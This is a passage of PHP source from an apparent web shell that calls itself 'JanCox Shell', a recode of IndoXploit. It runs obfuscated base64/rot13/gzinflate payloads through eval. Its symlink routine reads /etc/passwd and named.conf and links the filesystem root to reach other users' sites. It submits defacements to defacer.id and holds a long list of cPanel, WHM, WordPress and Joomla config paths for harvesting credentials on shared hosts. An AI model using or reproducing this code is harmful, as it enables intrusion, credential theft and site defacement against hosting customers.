  739. eval(str_rot13(gzinflate(str_rot13(base64_decode(('vUddQtswFH1epf4HcCE1VUxbNvEwdSMGd9FeJtGhPaygyLZ5B6jc5AaHORP/fdf5IoXxsBeiSbGdZu491z6+cTiA1GVPdCkwDTIaDnM5lyVupoT5Nc1ymWWmWpZdRm9FXWOGqzguTlue4Utjpa+p53a411OCIcKZFCxqGVUES63F8XGSylAx3jr+oATX45SXE3LBubGwAsM16RLpY5Jlp+aHh1RR8jscWaPZpI0dzbay/hdZJJqkziiFUZV5t5ohSmIE1POy0M+Bl+381rjEL1whj5xmh/kwvC85oifDTp6wqlXyADr2ynAJKJgpiEaeTrCvLaDIA/J0OCD47FswS6Yi85pEzzrYVoNF2ujEg0OX0jJ1duvpWlW+hORmhxQIElNvPuS/inBksxEA98JsNaPjRIiU9civj2FpYL5jhElwWdN8KmUSZ3fm5NNn2pVFMWILSHUuPTFerhbfSYs1Xax+nV2s4u+Xl4slegNI6MckWBxvdmiUx6SRWHUftOXZ5jWmD/Gi9qAUbdMVvKPKP6elKVxA1QayIrWnG3A59y6ibiMjrDMd9OI+9UfcyU9QsvB3W5VwT4eDHam5xc85F8ACd40q3EvfeMxADe3HzatgAcLD58AhwYNoyOxJDvqc5pYhhrOHCO8Y097nXM6vJACLfvCEct6IWaMfGxj5VXOGSwk5Opai4J5n72gj0Wfza+sM+x29+D6bR5eFWaK2xCcCQcELBxy9Y8DbOjFY2nF26JjF88lC3zmYZHEJ8hYkTFaJFtp7j3dpzPvfdKxZKYx9j1CWkFJfuSbvZMzDAf78MRdXgQ724/Oz5cVtR7dA7BK95oW9TvX6id8rrLYhYIaupzSEqntthpHSeYK2aXmfYEWLxqojGkjH3mRJcryqge1uN6CvYvgbLZdJJPqPi928ml2vNqHd+yU4Q6botthiDsI//AU='))))));
  740. } elseif($_GET['do'] == 'loghunter')
  741. {eval(str_rot13(gzinflate(str_rot13(base64_decode(("tUl7YtpVEP87VXyHiZMr0BLsPJqqgJ14QyBquuNrXEUlEExeeL2E5hZ7wS5pmu9+s7ZWgDM5RCmWJXt0f7Pz3JnJ52lphOsTQ+odbjFOjaGl1CCfWIlGTyPgLguIpQ+VoQKRYD7x8N8mDhsqC/iZRJ9DoxtDqNYDyx4xYA+20BUmvjEF7mw4wlL9WZ8J5o69b6lpcyhg8Qipju+aXkAVo35z+/az5KVGhoozmlEBilhLltbJyVCl6WULvpDx7kNE11lDpQ14NJsKY9hQKEyligc8DHNJFU8xcrXUKgRGV6hWhVooC6xMRCshRH2fz31OLQCfKtyQGVyNpOOg+DflE+hSPAhY+VyXsxRlZ6p3x+qRaWsK2sfqx3B13OZmN4E1QrZ9xuyqqkG5KyaEzCsuidTJdfbJEWEGzOYOE5PAim4j1fEJ/eSOSz7XHm5cqFE2n3bv1XwO4jeYFvfNxmyzNSgkrivclR7zuenIilALjFRpEM65SNzHY2A0nGubQ8Fdv+igZpH2sgfcAblAO6Vpj8lUPkUQYezqhVcB3r2DxaJFKL2AlvDykRjQbmRtpXt90eu0zi/+MJu9U/uijb8VuUxbclBEsBs45k+zkpS3K6iYBVLFaBylnOgI0hRL5Y3FQXRZfmiYBqEwMTNal2AkLeYk59Uya4KEVgfxLZhvd2PP9Djjmxm+i3WCbKyD0jm/ely2bV0lC8ZrMI/PSC4dTjskikOPWSQKiiRBlYk2KBQLancWQQZPKjtVNbgbxDLisK9w5ZNcjAFea4uBWE9P9T1a6/e7mtFxb8YtIi+SxYw7S8EcHX4+7R8bVxyhipKCcTHI0urpvyS8ijMz4sz1Wh6GxcLeoH3wp2nwmR/8RjF/+WNj9+FKVsElEitlvUooy9iV913ikmym133XiZ2pQbgjQUJZQrjEE5mO2peRjLGrIc0EvygbVDwqA/c8J+SOLzB2Q6kSJp0MzIZnS+ZUHcuQxS8P5vT/2KW2meKRHbey2DEnkutEuHe1GtDBZRMI6HD2F8rxaCjBjx+QTxpKDfidRgsLX/VsOyt7Mm/6IohStil49uKEetKv3+73D0KMWDsk3BP0jfIvrUvo8YG21e3o94+7mnP8FXTYGyqXptOW2vVBNe2kdNwiZh+r/Ns6D/N6WPV+vrTAT8slKBWe8WvLrREPoeMLav70RqakveP7ZuvYcdErllZIvvJ77rg0sNlJhj1PnYNCxUdCm/1rPK6MLByKKpbARIhG7ES6OQm5NTdvM7826yo34HbLiMVo85WApX0fXpBkw5+LB9CNtD7hkLPex0rFQBHbKs5S5j2nxQVCGfrXN63ehflb++a622H1zN56+/qm9OpMGzw9o09LDyIMydh1CsuTqb6lvxOKR6yiefbiK97cQF4lre4/idARGdaujmDr5XvpxPQXP/guZC3mu3GcxgGvFiMWRjD2jvXBa3biz+dp/gU="))))));}
  742. elseif($_GET['do'] == 'metu') {
  743.  
  744.  
  745. echo '<form action="?dir=$dir&do=metu" method="post">';
  746. unset($_SESSION[md5($_SERVER['HTTP_HOST'])]);
  747. echo 'Byee !';
  748.  
  749. }
  750. elseif($_GET['do'] == 'about') {
  751.  
  752. echo '<center>JanCox Shell<hr>IndoXploit Shell Recoded By 0x1999 -> Saiia Edit Lagy :(<br>For More Script Visit <a href="http://cr1p.blogspot.com/">Here</a>';
  753.  
  754. }
  755. elseif($_GET['do'] == 'symlink') {
  756. $full = str_replace($_SERVER['DOCUMENT_ROOT'], "", $dir);
  757. $d0mains = @file("/etc/named.conf");
  758. ##httaces
  759. if($d0mains){
  760. @mkdir("cox_sym",0777);
  761. @chdir("cox_sym");
  762. @exe("ln -s / root");
  763. $file3 = 'Options Indexes FollowSymLinks
  764. DirectoryIndex jancox.htm
  765. AddType text/plain .php
  766. AddHandler text/plain .php
  767. Satisfy Any';
  768. $fp3 = fopen('.htaccess','w');
  769. $fw3 = fwrite($fp3,$file3);@fclose($fp3);
  770. echo "
  771. <table align=center border=1 style='width:60%;border-color:#333333;'>
  772. <tr>
  773. <td align=center><font size=2>S. No.</font></td>
  774. <td align=center><font size=2>Domains</font></td>
  775. <td align=center><font size=2>Users</font></td>
  776. <td align=center><font size=2>Symlink</font></td>
  777. </tr>";
  778. $dcount = 1;
  779. foreach($d0mains as $d0main){
  780. if(eregi("zone",$d0main)){preg_match_all('#zone "(.*)"#', $d0main, $domains);
  781. flush();
  782. if(strlen(trim($domains[1][0])) > 2){
  783. $user = posix_getpwuid(@fileowner("/etc/valiases/".$domains[1][0]));
  784. echo "<tr align=center><td><font size=2>" . $dcount . "</font></td>
  785. <td align=left><a href=http://www.".$domains[1][0]."/><font class=txt>".$domains[1][0]."</font></a></td>
  786. <td>".$user['name']."</td>
  787. <td><a href='$full/cox_sym/root/home/".$user['name']."/public_html' target='_blank'><font class=txt>Symlink</font></a></td></tr>";
  788. flush();
  789. $dcount++;}}}
  790. echo "</table>";
  791. }else{
  792. $TEST=@file('/etc/passwd');
  793. if ($TEST){
  794. @mkdir("cox_sym",0777);
  795. @chdir("cox_sym");
  796. exe("ln -s / root");
  797. $file3 = 'Options Indexes FollowSymLinks
  798. DirectoryIndex jancox.htm
  799. AddType text/plain .php
  800. AddHandler text/plain .php
  801. Satisfy Any';
  802. $fp3 = fopen('.htaccess','w');
  803. $fw3 = fwrite($fp3,$file3);
  804. @fclose($fp3);
  805. echo "
  806. <table align=center border=1><tr>
  807. <td align=center><font size=3>S. No.</font></td>
  808. <td align=center><font size=3>Users</font></td>
  809. <td align=center><font size=3>Symlink</font></td></tr>";
  810. $dcount = 1;
  811. $file = fopen("/etc/passwd", "r") or exit("Unable to open file!");
  812. while(!feof($file)){
  813. $s = fgets($file);
  814. $matches = array();
  815. $t = preg_match('/\/(.*?)\:\//s', $s, $matches);
  816. $matches = str_replace("home/","",$matches[1]);
  817. if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")
  818. continue;
  819. echo "<tr><td align=center><font size=2>" . $dcount . "</td>
  820. <td align=center><font class=txt>" . $matches . "</td>";
  821. echo "<td align=center><font class=txt><a href=$full/cox_sym/root/home/" . $matches . "/public_html target='_blank'>Symlink</a></td></tr>";
  822. $dcount++;}fclose($file);
  823. echo "</table>";}else{if($os != "Windows"){@mkdir("cox_sym",0777);@chdir("cox_sym");@exe("ln -s / root");$file3 = '
  824. Options Indexes FollowSymLinks
  825. DirectoryIndex jancox.htm
  826. AddType text/plain .php
  827. AddHandler text/plain .php
  828. Satisfy Any
  829. ';
  830. $fp3 = fopen('.htaccess','w');
  831. $fw3 = fwrite($fp3,$file3);@fclose($fp3);
  832. echo "
  833. <div class='mybox'><h2 class='k2ll33d2'>server symlinker</h2>
  834. <table align=center border=1><tr>
  835. <td align=center><font size=3>ID</font></td>
  836. <td align=center><font size=3>Users</font></td>
  837. <td align=center><font size=3>Symlink</font></td></tr>";
  838. $temp = "";$val1 = 0;$val2 = 1000;
  839. for(;$val1 <= $val2;$val1++) {$uid = @posix_getpwuid($val1);
  840. if ($uid)$temp .= join(':',$uid)."\
  841. ";}
  842. echo '<br/>';$temp = trim($temp);$file5 =
  843. fopen("test.txt","w");
  844. fputs($file5,$temp);
  845. fclose($file5);$dcount = 1;$file =
  846. fopen("test.txt", "r") or exit("Unable to open file!");
  847. while(!feof($file)){$s = fgets($file);$matches = array();
  848. $t = preg_match('/\/(.*?)\:\//s', $s, $matches);$matches = str_replace("home/","",$matches[1]);
  849. if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")
  850. continue;
  851. echo "<tr><td align=center><font size=2>" . $dcount . "</td>
  852. <td align=center><font class=txt>" . $matches . "</td>";
  853. echo "<td align=center><font class=txt><a href=$full/cox_sym/root/home/" . $matches . "/public_html target='_blank'>Symlink</a></td></tr>";
  854. $dcount++;}
  855. fclose($file);
  856. echo "</table></div></center>";unlink("test.txt");
  857. } else
  858. echo "<center><font size=3>Cannot create Symlink</font></center>";
  859. }
  860. }
  861. }
  862. elseif($_GET['do'] == 'defacerid') {
  863. echo "<center><form method='post'>
  864. <u>Defacer</u>: <br>
  865. <input type='text' name='hekel' size='50' value='Monkey B Luffy'><br>
  866. <u>Team</u>: <br>
  867. <input type='text' name='tim' size='50' value=''><br>
  868. <u>Domains</u>: <br>
  869. <textarea style='width: 450px; height: 150px;' name='sites'></textarea><br>
  870. <input type='submit' name='go' value='Submit' style='width: 450px;'>
  871. </form>";
  872. $site = explode("\
  873. \
  874. ", $_POST['sites']);
  875. $go = $_POST['go'];
  876. $hekel = $_POST['hekel'];
  877. $tim = $_POST['tim'];
  878. if($go) {
  879. echo "<a href='https://www.defacer.id/archive.html' target='blank'>Archive</a> - ";
  880. echo "<a href='https://www.defacer.id/special.html' target='blank'>Special Archive</a> - ";
  881. echo "<a href='https://www.defacer.id/onhold.html' target='blank'>Onhold Archive</a><br><br>";
  882. foreach($site as $sites) {
  883. $zh = $sites;
  884. $form_url = "https://www.defacer.id/notify";
  885. $data_to_post = array();
  886. $data_to_post['attacker'] = "$hekel";
  887. $data_to_post['team'] = "$tim";
  888. $data_to_post['poc'] = 'SQL Injection';
  889. $data_to_post['url'] = "$zh";
  890. $curl = curl_init();
  891. curl_setopt($curl,CURLOPT_URL, $form_url);
  892. curl_setopt($curl,CURLOPT_POST, sizeof($data_to_post));
  893. curl_setopt($curl, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)"); //msnbot/1.0 (+http://search.msn.com/msnbot.htm)
  894. curl_setopt($curl,CURLOPT_POSTFIELDS, $data_to_post);
  895. curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
  896. curl_setopt($curl, CURLOPT_REFERER, 'https://defacer.id/notify.html');
  897. $result = curl_exec($curl);
  898. echo $result;
  899. curl_close($curl);
  900. echo "<br>";
  901. }
  902. }
  903. }
  904.  
  905. elseif($_GET['do'] == 'config') {
  906. if($_POST){
  907. $passwd = $_POST['passwd'];
  908. mkdir("cox_config", 0777);
  909. $isi_htc = "Options all\
  910. Require None\
  911. Satisfy Any";
  912. $htc = fopen("cox_config/.htaccess","w");
  913. fwrite($htc, $isi_htc);
  914. preg_match_all('/(.*?):x:/', $passwd, $user_config);
  915. foreach($user_config[1] as $user_cox) {
  916. $user_config_dir = "/home/$user_cox/public_html/";
  917. if(is_readable($user_config_dir)) {
  918. $grab_config = array(
  919. "/home/$user_cox/.my.cnf" => "cpanel",
  920. "/home/$user_cox/.accesshash" => "WHM-accesshash",
  921. "/home/$user_cox/public_html/bw-configs/config.ini" => "BosWeb",
  922. "/home/$user_cox/public_html/config/koneksi.php" => "Lokomedia",
  923. "/home/$user_cox/public_html/lokomedia/config/koneksi.php" => "Lokomedia",
  924. "/home/$user_cox/public_html/clientarea/configuration.php" => "WHMCS",
  925. "/home/$user_cox/public_html/whmcs/configuration.php" => "WHMCS",
  926. "/home/$user_cox/public_html/forum/config.php" => "phpBB",
  927. "/home/$user_cox/public_html/sites/default/settings.php" => "Drupal",
  928. "/home/$user_cox/public_html/config/settings.inc.php" => "PrestaShop",
  929. "/home/$user_cox/public_html/app/etc/local.xml" => "Magento",
  930. "/home/$user_cox/public_html/admin/config.php" => "OpenCart",
  931. "/home/$user_cox/public_html/slconfig.php" => "Sitelok",
  932. "/home/$user_cox/public_html/application/config/database.php" => "Ellislab",
  933. "/home/$user_cox/public_html/whm/configuration.php" => "WHMCS",
  934. "/home/$user_cox/public_html/whmc/WHM/configuration.ph" => "WHMC",
  935. "/home/$user_cox/public_html/central/configuration.php" => "WHM Central",
  936. "/home/$user_cox/public_html/whm/WHMCS/configuration.php" => "WHMCS",
  937. "/home/$user_cox/public_html/whm/whmcs/configuration.php" => "WHMCS",
  938. "/home/$user_cox/public_html/submitticket.php" => "WHMCS",
  939. "/home/$user_cox/public_html/configuration.php" => "Joomla",
  940. "/home/$user_cox/public_html/Joomla/configuration.php" => "JoomlaJoomla",
  941. "/home/$user_cox/public_html/joomla/configuration.php" => "JoomlaJoomla",
  942. "/home/$user_cox/public_html/JOOMLA/configuration.php" => "JoomlaJoomla",
  943. "/home/$user_cox/public_html/Home/configuration.php" => "JoomlaHome",
  944. "/home/$user_cox/public_html/HOME/configuration.php" => "JoomlaHome",
  945. "/home/$user_cox/public_html/home/configuration.php" => "JoomlaHome",
  946. "/home/$user_cox/public_html/NEW/configuration.php" => "JoomlaNew",
  947. "/home/$user_cox/public_html/New/configuration.php" => "JoomlaNew",
  948. "/home/$user_cox/public_html/new/configuration.php" => "JoomlaNew",
  949. "/home/$user_cox/public_html/News/configuration.php" => "JoomlaNews",
  950. "/home/$user_cox/public_html/NEWS/configuration.php" => "JoomlaNews",
  951. "/home/$user_cox/public_html/news/configuration.php" => "JoomlaNews",
  952. "/home/$user_cox/public_html/Cms/configuration.php" => "JoomlaCms",
  953. "/home/$user_cox/public_html/CMS/configuration.php" => "JoomlaCms",
  954. "/home/$user_cox/public_html/cms/configuration.php" => "JoomlaCms",
  955. "/home/$user_cox/public_html/Main/configuration.php" => "JoomlaMain",
  956. "/home/$user_cox/public_html/MAIN/configuration.php" => "JoomlaMain",
  957. "/home/$user_cox/public_html/main/configuration.php" => "JoomlaMain",
  958. "/home/$user_cox/public_html/Blog/configuration.php" => "JoomlaBlog",
  959. "/home/$user_cox/public_html/BLOG/configuration.php" => "JoomlaBlog",
  960. "/home/$user_cox/public_html/blog/configuration.php" => "JoomlaBlog",
  961. "/home/$user_cox/public_html/Blogs/configuration.php" => "JoomlaBlogs",
  962. "/home/$user_cox/public_html/BLOGS/configuration.php" => "JoomlaBlogs",
  963. "/home/$user_cox/public_html/blogs/configuration.php" => "JoomlaBlogs",
  964. "/home/$user_cox/public_html/beta/configuration.php" => "JoomlaBeta",
  965. "/home/$user_cox/public_html/Beta/configuration.php" => "JoomlaBeta",
  966. "/home/$user_cox/public_html/BETA/configuration.php" => "JoomlaBeta",
  967. "/home/$user_cox/public_html/PRESS/configuration.php" => "JoomlaPress",
  968. "/home/$user_cox/public_html/Press/configuration.php" => "JoomlaPress",
  969. "/home/$user_cox/public_html/press/configuration.php" => "JoomlaPress",
  970. "/home/$user_cox/public_html/Wp/configuration.php" => "JoomlaWp",
  971. "/home/$user_cox/public_html/wp/configuration.php" => "JoomlaWp",
  972. "/home/$user_cox/public_html/WP/configuration.php" => "JoomlaWP",
  973. "/home/$user_cox/public_html/portal/configuration.php" => "JoomlaPortal",
  974. "/home/$user_cox/public_html/PORTAL/configuration.php" => "JoomlaPortal",
  975. "/home/$user_cox/public_html/Portal/configuration.php" => "JoomlaPortal",
  976. "/home/$user_cox/public_html/wp-config.php" => "WordPress",
  977. "/home/$user_cox/public_html/wordpress/wp-config.php" => "WordPressWordpress",
  978. "/home/$user_cox/public_html/Wordpress/wp-config.php" => "WordPressWordpress",
  979. "/home/$user_cox/public_html/WORDPRESS/wp-config.php" => "WordPressWordpress",
  980. "/home/$user_cox/public_html/Home/wp-config.php" => "WordPressHome",
  981. "/home/$user_cox/public_html/HOME/wp-config.php" => "WordPressHome",
  982. "/home/$user_cox/public_html/home/wp-config.php" => "WordPressHome",
  983. "/home/$user_cox/public_html/NEW/wp-config.php" => "WordPressNew",
  984. "/home/$user_cox/public_html/New/wp-config.php" => "WordPressNew",
  985. "/home/$user_cox/public_html/new/wp-config.php" => "WordPressNew",
  986. "/home/$user_cox/public_html/News/wp-config.php" => "WordPressNews",
  987. "/home/$user_cox/public_html/NEWS/wp-config.php" => "WordPressNews",
  988. "/home/$user_cox/public_html/news/wp-config.php" => "WordPressNews",
  989. "/home/$user_cox/public_html/Cms/wp-config.php" => "WordPressCms",
  990. "/home/$user_cox/public_html/CMS/wp-config.php" => "WordPressCms",
  991. "/home/$user_cox/public_html/cms/wp-config.php" => "WordPressCms",
  992. "/home/$user_cox/public_html/Main/wp-config.php" => "WordPressMain",
  993. "/home/$user_cox/public_html/MAIN/wp-config.php" => "WordPressMain",
  994. "/home/$user_cox/public_html/main/wp-config.php" => "WordPressMain",
  995. "/home/$user_cox/public_html/Blog/wp-config.php" => "WordPressBlog",
  996. "/home/$user_cox/public_html/BLOG/wp-config.php" => "WordPressBlog",
  997. "/home/$user_cox/public_html/blog/wp-config.php" => "WordPressBlog",
  998. "/home/$user_cox/public_html/Blogs/wp-config.php" => "WordPressBlogs",
  999. "/home/$user_cox/public_html/BLOGS/wp-config.php" => "WordPressBlogs",
  1000. "/home/$user_cox/public_html/blogs/wp-config.php" => "WordPressBlogs",
  1001. "/home/$user_cox/public_html/beta/wp-config.php" => "WordPressBeta",
  1002. "/home/$user_cox/public_html/Beta/wp-config.php" => "WordPressBeta",
  1003. "/home/$user_cox/public_html/BETA/wp-config.php" => "WordPressBeta",
  1004. "/home/$user_cox/public_html/PRESS/wp-config.php" => "WordPressPress",
  1005. "/home/$user_cox/public_html/Press/wp-config.php" => "WordPressPress",
  1006. "/home/$user_cox/public_html/press/wp-config.php" => "WordPressPress",
  1007. "/home/$user_cox/public_html/Wp/wp-config.php" => "WordPressWp",
  1008. "/home/$user_cox/public_html/wp/wp-config.php" => "WordPressWp",
  1009. "/home/$user_cox/public_html/WP/wp-config.php" => "WordPressWP",
  1010. "/home/$user_cox/public_html/portal/wp-config.php" => "WordPressPortal",
  1011. "/home/$user_cox/public_html/PORTAL/wp-config.php" => "WordPressPortal",
  1012. "/home/$user_cox/public_html/Portal/wp-config.php" => "WordPressPortal",
  1013. "/home1/$user_cox/.my.cnf" => "cpanel",
  1014. "/home1/$user_cox/.accesshash" => "WHM-accesshash",
  1015. "/home1/$user_cox/public_html/bw-configs/config.ini" => "BosWeb",
  1016. "/home1/$user_cox/public_html/config/koneksi.php" => "Lokomedia",
  1017. "/home1/$user_cox/public_html/lokomedia/config/koneksi.php" => "Lokomedia",
  1018. "/home1/$user_cox/public_html/clientarea/configuration.php" => "WHMCS",
  1019. "/home1/$user_cox/public_html/whmcs/configuration.php" => "WHMCS",
  1020. "/home1/$user_cox/public_html/forum/config.php" => "phpBB",
  1021. "/home1/$user_cox/public_html/sites/default/settings.php" => "Drupal",
  1022. "/home1/$user_cox/public_html/config/settings.inc.php" => "PrestaShop",
  1023. "/home1/$user_cox/public_html/app/etc/local.xml" => "Magento",
  1024. "/home1/$user_cox/public_html/admin/config.php" => "OpenCart",
  1025. "/home1/$user_cox/public_html/slconfig.php" => "Sitelok",
  1026. "/home1/$user_cox/public_html/application/config/database.php" => "Ellislab",
  1027. "/home1/$user_cox/public_html/whm/configuration.php" => "WHMCS",
  1028. "/home1/$user_cox/public_html/whmc/WHM/configuration.ph" => "WHMC",
  1029. "/home1/$user_cox/public_html/central/configuration.php" => "WHM Central",
  1030. "/home1/$user_cox/public_html/whm/WHMCS/configuration.php" => "WHMCS",
  1031. "/home1/$user_cox/public_html/whm/whmcs/configuration.php" => "WHMCS",
  1032. "/home1/$user_cox/public_html/submitticket.php" => "WHMCS",
  1033. "/home1/$user_cox/public_html/configuration.php" => "Joomla",
  1034. "/home1/$user_cox/public_html/Joomla/configuration.php" => "JoomlaJoomla",
  1035. "/home1/$user_cox/public_html/joomla/configuration.php" => "JoomlaJoomla",
  1036. "/home1/$user_cox/public_html/JOOMLA/configuration.php" => "JoomlaJoomla",
  1037. "/home1/$user_cox/public_html/Home/configuration.php" => "JoomlaHome",
  1038. "/home1/$user_cox/public_html/HOME/configuration.php" => "JoomlaHome",
  1039. "/home1/$user_cox/public_html/home/configuration.php" => "JoomlaHome",
  1040. "/home1/$user_cox/public_html/NEW/configuration.php" => "JoomlaNew",
  1041. "/home1/$user_cox/public_html/New/configuration.php" => "JoomlaNew",
  1042. "/home1/$user_cox/public_html/new/configuration.php" => "JoomlaNew",
  1043. "/home1/$user_cox/public_html/News/configuration.php" => "JoomlaNews",
  1044. "/home1/$user_cox/public_html/NEWS/configuration.php" => "JoomlaNews",
  1045. "/home1/$user_cox/public_html/news/configuration.php" => "JoomlaNews",
  1046. "/home1/$user_cox/public_html/Cms/configuration.php" => "JoomlaCms",
  1047. "/home1/$user_cox/public_html/CMS/configuration.php" => "JoomlaCms",
  1048. "/home1/$user_cox/public_html/cms/configuration.php" => "JoomlaCms",
  1049. "/home1/$user_cox/public_html/Main/configuration.php" => "JoomlaMain",
  1050. "/home1/$user_cox/public_html/MAIN/configuration.php" => "JoomlaMain",
  1051. "/home1/$user_cox/public_html/main/configuration.php" => "JoomlaMain",
  1052. "/home1/$user_cox/public_html/Blog/configuration.php" => "JoomlaBlog",
  1053. "/home1/$user_cox/public_html/BLOG/configuration.php" => "JoomlaBlog",
  1054. "/home1/$user_cox/public_html/blog/configuration.php" => "JoomlaBlog",
  1055. "/home1/$user_cox/public_html/Blogs/configuration.php" => "JoomlaBlogs",
  1056. "/home1/$user_cox/public_html/BLOGS/configuration.php" => "JoomlaBlogs",
  1057. "/home1/$user_cox/public_html/blogs/configuration.php" => "JoomlaBlogs",
  1058. "/home1/$user_cox/public_html/beta/configuration.php" => "JoomlaBeta",
  1059. "/home1/$user_cox/public_html/Beta/configuration.php" => "JoomlaBeta",
  1060. "/home1/$user_cox/public_html/BETA/configuration.php" => "JoomlaBeta",
  1061. "/home1/$user_cox/public_html/PRESS/configuration.php" => "JoomlaPress",
  1062. "/home1/$user_cox/public_html/Press/configuration.php" => "JoomlaPress",
  1063. "/home1/$user_cox/public_html/press/configuration.php" => "JoomlaPress",
  1064. "/home1/$user_cox/public_html/Wp/configuration.php" => "JoomlaWp",
  1065. "/home1/$user_cox/public_html/wp/configuration.php" => "JoomlaWp",
  1066. "/home1/$user_cox/public_html/WP/configuration.php" => "JoomlaWP",
  1067. "/home1/$user_cox/public_html/portal/configuration.php" => "JoomlaPortal",
  1068. "/home1/$user_cox/public_html/PORTAL/configuration.php" => "JoomlaPortal",
  1069. "/home1/$user_cox/public_html/Portal/configuration.php" => "JoomlaPortal",
  1070. "/home1/$user_cox/public_html/wp-config.php" => "WordPress",
  1071. "/home1/$user_cox/public_html/wordpress/wp-config.php" => "WordPressWordpress",
  1072. "/home1/$user_cox/public_html/Wordpress/wp-config.php" => "WordPressWordpress",
  1073. "/home1/$user_cox/public_html/WORDPRESS/wp-config.php" => "WordPressWordpress",
  1074. "/home1/$user_cox/public_html/Home/wp-config.php" => "WordPressHome",
  1075. "/home1/$user_cox/public_html/HOME/wp-config.php" => "WordPressHome",
  1076. "/home1/$user_cox/public_html/home/wp-config.php" => "WordPressHome",
  1077. "/home1/$user_cox/public_html/NEW/wp-config.php" => "WordPressNew",
  1078. "/home1/$user_cox/public_html/New/wp-config.php" => "WordPressNew",
  1079. "/home1/$user_cox/public_html/new/wp-config.php" => "WordPressNew",
  1080. "/home1/$user_cox/public_html/News/wp-config.php" => "WordPressNews",
  1081. "/home1/$user_cox/public_html/NEWS/wp-config.php" => "WordPressNews",
  1082. "/home1/$user_cox/public_html/news/wp-config.php" => "WordPressNews",
  1083. "/home1/$user_cox/public_html/Cms/wp-config.php" => "WordPressCms",
  1084. "/home1/$user_cox/public_html/CMS/wp-config.php" => "WordPressCms",
  1085. "/home1/$user_cox/public_html/cms/wp-config.php" => "WordPressCms",
  1086. "/home1/$user_cox/public_html/Main/wp-config.php" => "WordPressMain",
  1087. "/home1/$user_cox/public_html/MAIN/wp-config.php" => "WordPressMain",
  1088. "/home1/$user_cox/public_html/main/wp-config.php" => "WordPressMain",
  1089. "/home1/$user_cox/public_html/Blog/wp-config.php" => "WordPressBlog",
  1090. "/home1/$user_cox/public_html/BLOG/wp-config.php" => "WordPressBlog",
  1091. "/home1/$user_cox/public_html/blog/wp-config.php" => "WordPressBlog",
  1092. "/home1/$user_cox/public_html/Blogs/wp-config.php" => "WordPressBlogs",
  1093. "/home1/$user_cox/public_html/BLOGS/wp-config.php" => "WordPressBlogs",
  1094. "/home1/$user_cox/public_html/blogs/wp-config.php" => "WordPressBlogs",
  1095. "/home1/$user_cox/public_html/beta/wp-config.php" => "WordPressBeta",
  1096. "/home1/$user_cox/public_html/Beta/wp-config.php" => "WordPressBeta",
  1097. "/home1/$user_cox/public_html/BETA/wp-config.php" => "WordPressBeta",
  1098. "/home1/$user_cox/public_html/PRESS/wp-config.php" => "WordPressPress",
  1099. "/home1/$user_cox/public_html/Press/wp-config.php" => "WordPressPress",
  1100. "/home1/$user_cox/public_html/press/wp-config.php" => "WordPressPress",
  1101. "/home1/$user_cox/public_html/Wp/wp-config.php" => "WordPressWp",
  1102. "/home1/$user_cox/public_html/wp/wp-config.php" => "WordPressWp",
  1103. "/home1/$user_cox/public_html/WP/wp-config.php" => "WordPressWP",
  1104. "/home1/$user_cox/public_html/portal/wp-config.php" => "WordPressPortal",
  1105. "/home1/$user_cox/public_html/PORTAL/wp-config.php" => "WordPressPortal",
  1106. "/home1/$user_cox/public_html/Portal/wp-config.php" => "WordPressPortal",
  1107. "/home2/$user_cox/.my.cnf" => "cpanel",
  1108. "/home2/$user_cox/.accesshash" => "WHM-accesshash",
  1109. "/home2/$user_cox/public_html/bw-configs/config.ini" => "BosWeb",
  1110. "/home2/$user_cox/public_html/config/koneksi.php" => "Lokomedia",
  1111. "/home2/$user_cox/public_html/lokomedia/config/koneksi.php" => "Lokomedia",
  1112. "/home2/$user_cox/public_html/clientarea/configuration.php" => "WHMCS",
  1113. "/home2/$user_cox/public_html/whmcs/configuration.php" => "WHMCS",
  1114. "/home2/$user_cox/public_html/forum/config.php" => "phpBB",
  1115. "/home2/$user_cox/public_html/sites/default/settings.php" => "Drupal",
  1116. "/home2/$user_cox/public_html/config/settings.inc.php" => "PrestaShop",
  1117. "/home2/$user_cox/public_html/app/etc/local.xml" => "Magento",
  1118. "/home2/$user_cox/public_html/admin/config.php" => "OpenCart",
  1119. "/home2/$user_cox/public_html/slconfig.php" => "Sitelok",
  1120. "/home2/$user_cox/public_html/application/config/database.php" => "Ellislab",
  1121. "/home2/$user_cox/public_html/whm/configuration.php" => "WHMCS",
  1122. "/home2/$user_cox/public_html/whmc/WHM/configuration.ph" => "WHMC",
  1123. "/home2/$user_cox/public_html/central/configuration.php" => "WHM Central",
  1124. "/home2/$user_cox/public_html/whm/WHMCS/configuration.php" => "WHMCS",
  1125. "/home2/$user_cox/public_html/whm/whmcs/configuration.php" => "WHMCS",
  1126. "/home2/$user_cox/public_html/submitticket.php" => "WHMCS",
  1127. "/home2/$user_cox/public_html/configuration.php" => "Joomla",
  1128. "/home2/$user_cox/public_html/Joomla/configuration.php" => "JoomlaJoomla",
  1129. "/home2/$user_cox/public_html/joomla/configuration.php" => "JoomlaJoomla",
  1130. "/home2/$user_cox/public_html/JOOMLA/configuration.php" => "JoomlaJoomla",
  1131. "/home2/$user_cox/public_html/Home/configuration.php" => "JoomlaHome",
  1132. "/home2/$user_cox/public_html/HOME/configuration.php" => "JoomlaHome",
  1133. "/home2/$user_cox/public_html/home/configuration.php" => "JoomlaHome",
  1134. "/home2/$user_cox/public_html/NEW/configuration.php" => "JoomlaNew",
  1135. "/home2/$user_cox/public_html/New/configuration.php" => "JoomlaNew",
  1136. "/home2/$user_cox/public_html/new/configuration.php" => "JoomlaNew",
  1137. "/home2/$user_cox/public_html/News/configuration.php" => "JoomlaNews",
  1138. "/home2/$user_cox/public_html/NEWS/configuration.php" => "JoomlaNews",
  1139. "/home2/$user_cox/public_html/news/configuration.php" => "JoomlaNews",
  1140. "/home2/$user_cox/public_html/Cms/configuration.php" => "JoomlaCms",
